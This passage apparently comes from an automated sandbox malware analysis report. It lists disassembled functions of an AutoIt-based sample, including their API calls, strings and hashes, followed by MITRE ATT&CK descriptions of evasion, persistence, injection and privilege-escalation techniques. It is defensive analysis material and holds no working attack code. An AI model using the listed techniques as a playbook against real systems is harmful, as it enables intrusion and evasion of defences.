Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: Path$ObjectSelect$BeginCreateLineMoveStroke
String ID:
API String ID: 1539411459-0
Opcode ID: a7b5b8fba77a2badbf6f1e5192b981f3eaa622098b7df950bc315340e2397786
Instruction ID: 645990a6773df07f8de3a42e09bd5c3acd658ffd055d539840b4289d06117118
Opcode Fuzzy Hash: a7b5b8fba77a2badbf6f1e5192b981f3eaa622098b7df950bc315340e2397786
Instruction Fuzzy Hash: BAF05E36081259FADB125F94AC0EFCE3F5AAF0A322F08C001FA11651E1C7755551CFE9

Function 005F4D87 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 230shareCOMMON

Download Yara Rule

APIs

Part of subcall function 00587620: _wcslen.LIBCMT ref: 00587625

WNetUseConnectionW.MPR(00000000,?,0000002A,00000000,?,?,0000002A,?), ref: 005F4ED4

Strings

*, xrefs: 005F4E10
LPT, xrefs: 005F4DFB

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: Connection_wcslen
String ID: *$LPT
API String ID: 1725874428-3443410124
Opcode ID: 427662ce32bafa784577b9e46a4aef69d1c531d16d451b8a393f5b6bc0d88923
Instruction ID: ff292c81ac8951ceef8b1658cdadeb04bef7e8ed5d1b0161e4681edc8df5931c
Opcode Fuzzy Hash: 427662ce32bafa784577b9e46a4aef69d1c531d16d451b8a393f5b6bc0d88923
Instruction Fuzzy Hash: 35914A75A002099FCB14DF58C484EAABFF5BF48314F188099E90A9B362D735ED85CF91

Function 0059E187 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 184COMMON

Download Yara Rule

Strings

#, xrefs: 0059E1B1

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID:
String ID: #
API String ID: 0-1885708031
Opcode ID: f0b801e7e417a9ca3a820b861c475175dedd8b66407b678097a04478314ac052
Instruction ID: 7c5fec3bc0161918977e26b593ee9058667a9bdf3c79c08f5e0c8a9b213b5653
Opcode Fuzzy Hash: f0b801e7e417a9ca3a820b861c475175dedd8b66407b678097a04478314ac052
Instruction Fuzzy Hash: EE51FE39900286DBDF25EF28C4866FA7FA9FF65310F644057E891AF290D6349D42CBA0

Function 00614537 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000027,00001132,00000000,?), ref: 0061461F
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00614634

Strings

', xrefs: 0061458E

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: MessageSend
String ID: '
API String ID: 3850602802-1997036262
Opcode ID: 2e93cfe435855464bf5cc47d0406ece3862f91652ffbb185b957188ee3f062b2
Instruction ID: 3116bb459cea5795131d810d084b12fb8c3f9e6661c9b4078c9124e2fe74809d
Opcode Fuzzy Hash: 2e93cfe435855464bf5cc47d0406ece3862f91652ffbb185b957188ee3f062b2
Instruction Fuzzy Hash: 31311A74A0130A9FDF14CF69C990BDA7BB6FF49344F18406AE905AB351DB70A941CF90

Function 005FCD1E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66networkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 005FCD7D
InternetSetOptionW.WININET(00000000,00000032,?,00000008), ref: 005FCDA6

Strings

<local>, xrefs: 005FCD66

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: Internet$OpenOption
String ID: <local>
API String ID: 942729171-4266983199
Opcode ID: 3b1badb956de4d2b8bc1902e3529af58e66d50b224854bf3ef1414b845aef938
Instruction ID: 7f2d9f0e7dc778ab9918ab213d1cd605fb036f981b8005d61156eb6b29d45033
Opcode Fuzzy Hash: 3b1badb956de4d2b8bc1902e3529af58e66d50b224854bf3ef1414b845aef938
Instruction Fuzzy Hash: 0311A07124567DBAD7284B668C49EFBBEA9FF127B4F00463AB209C3180D6789841D6F0

Function 005E6C86 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

Part of subcall function 00589CB3: _wcslen.LIBCMT ref: 00589CBD

CharUpperBuffW.USER32(?,?,?), ref: 005E6CB6
_wcslen.LIBCMT ref: 005E6CC2

Strings

STOP, xrefs: 005E6CBC, 005E6CC1

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: _wcslen$BuffCharUpper
String ID: STOP
API String ID: 1256254125-2411985666
Opcode ID: db6f6cb5abe67218d13e1423ab1e587f1d18c82132d43d750bbb2ea97a5ef121
Instruction ID: 04a2dabece942dc02ae92234a380a87307a3b5fd5fc02e73b43f97150175ace5
Opcode Fuzzy Hash: db6f6cb5abe67218d13e1423ab1e587f1d18c82132d43d750bbb2ea97a5ef121
Instruction Fuzzy Hash: 5C0104326005678BCB24AFBECC858BF7FA5FAB17D07900929E892A2191EA31DC00C750

Function 0059A4D6 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 0059A529

Part of subcall function 00589CB3: _wcslen.LIBCMT ref: 00589CBD

Strings

,%e, xrefs: 0059A509
3y], xrefs: 0059A545, 0059A54D, 0059A552

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: Init_thread_footer_wcslen
String ID: ,%e$3y]
API String ID: 2551934079-1905814648
Opcode ID: 4460d626c346ca263dbfb144c213f953a564fc41fc66bb7c8b557bcb9929a994
Instruction ID: 202ceedc26fb9df02e777ab68f4292db79605974d79f31cb5a7d60c65ef2b109
Opcode Fuzzy Hash: 4460d626c346ca263dbfb144c213f953a564fc41fc66bb7c8b557bcb9929a994
Instruction Fuzzy Hash: 2A012632B006228BCE04F768EC5FABD3F55FB86721F451428F906671C2EE109D418AE7

Function 00618172 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 40processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00653018,0065305C), ref: 006181BF
CloseHandle.KERNEL32 ref: 006181D1

Strings

\0e, xrefs: 0061818A

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: \0e
API String ID: 3712363035-2021240290
Opcode ID: a9ec03087abd1a8257b0829a2f5b131c118e5240ad5751d55c0bd63cef2f476b
Instruction ID: 2a818f59ba254d6304f405f2201aa4a637abc5126cce01adc6cb4e983ccf86fe
Opcode Fuzzy Hash: a9ec03087abd1a8257b0829a2f5b131c118e5240ad5751d55c0bd63cef2f476b
Instruction Fuzzy Hash: B4F089B1640320BEE710AB656C4AFBB3E5EEB05FA6F005421BF08D52E1D6758E1483F4

Function 005E0B15 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 28windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 005E0B23

Strings

AutoIt, xrefs: 005E0B17
Error allocating memory., xrefs: 005E0B1C

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: Message
String ID: AutoIt$Error allocating memory.
API String ID: 2030045667-4017498283
Opcode ID: 07151d6acbdc2d50cc757334605a6ca3d4651ece034eb3cd7b74e4e420fc12d3
Instruction ID: 4ede93399307f3ae51ee2d04c245d49cebc6e71f13404fd2dd12907127778d28
Opcode Fuzzy Hash: 07151d6acbdc2d50cc757334605a6ca3d4651ece034eb3cd7b74e4e420fc12d3
Instruction Fuzzy Hash: 80E0D83128434927D31436947C07FCD7E8AAF46F20F140426FB88D54C38AD2649007E9

Function 005A0D42 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 0059F7C9: InitializeCriticalSectionAndSpinCount.KERNEL32(?,00000000,?,005A0D71,?,?,?,0058100A), ref: 0059F7CE

IsDebuggerPresent.KERNEL32(?,?,?,0058100A), ref: 005A0D75
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,0058100A), ref: 005A0D84

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 005A0D7F

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: CountCriticalDebugDebuggerInitializeOutputPresentSectionSpinString
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 55579361-631824599
Opcode ID: b340b0123fb8561164e094fb7a006a904c3091dc5ffcb92cf44d5f96d103a828
Instruction ID: 5f8210a09de4db085c5adfcddcc20ba47276b1bda703b1c2359891ee19c5aba9
Opcode Fuzzy Hash: b340b0123fb8561164e094fb7a006a904c3091dc5ffcb92cf44d5f96d103a828
Instruction Fuzzy Hash: A5E06D742007018BD7609FB8D40838A7FE1BB01744F04992DE486C66A1DBB5E4888B91

Function 0059E398 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 0059E3D5

Strings

8%e, xrefs: 0059E3CA
0%e, xrefs: 0059E3B5

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: Init_thread_footer
String ID: 0%e$8%e
API String ID: 1385522511-3821002725
Opcode ID: f45f6209c3cd482c205fe6ee0cc7f2f169f2fd32f1c83d3e57d4e5b27ea058b0
Instruction ID: 8ceef89706a1fa771ddb4af791a60f86b09a5fbd0aa590ddfd2615ada61bf67c
Opcode Fuzzy Hash: f45f6209c3cd482c205fe6ee0cc7f2f169f2fd32f1c83d3e57d4e5b27ea058b0
Instruction Fuzzy Hash: 44E08635414B12CBCF04DF18F87AA9C3B57FB57321F502965E5128B1D1BB3038818655

Function 00612356 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 0061236C
PostMessageW.USER32(00000000), ref: 00612373

Part of subcall function 005EE97B: Sleep.KERNEL32 ref: 005EE9F3

Strings

Shell_TrayWnd, xrefs: 00612365

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: a75239c9ad436fa7ebebc2783d8e7aa0562e8be6db10f69fd4c48eb5cac033a5
Instruction ID: d176b265a682d6e6ddf01c231634b20d47afffb6d59288e0833489bed816e163
Opcode Fuzzy Hash: a75239c9ad436fa7ebebc2783d8e7aa0562e8be6db10f69fd4c48eb5cac033a5
Instruction Fuzzy Hash: 89D0A9323C03007AE368A371DC0FFCAAA06AB00B20F0089027241EA0D0C8A0A800CA44

Function 00612322 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 0061232C
PostMessageW.USER32(00000000,00000111,00000197,00000000), ref: 0061233F

Part of subcall function 005EE97B: Sleep.KERNEL32 ref: 005EE9F3

Strings

Shell_TrayWnd, xrefs: 00612325

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: d456f348369beae6f00c0803dc9d79059250b57cc83c952bfdfd22022df33a52
Instruction ID: 9244b57439177c9ea0712f6ba960dc4024b26fd7413f6c0b96b4d8207ef95528
Opcode Fuzzy Hash: d456f348369beae6f00c0803dc9d79059250b57cc83c952bfdfd22022df33a52
Instruction Fuzzy Hash: 31D022323D0300BBE368B371DC0FFCABA06AB00B20F0089037345EA0D0C8F0A800CA40

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
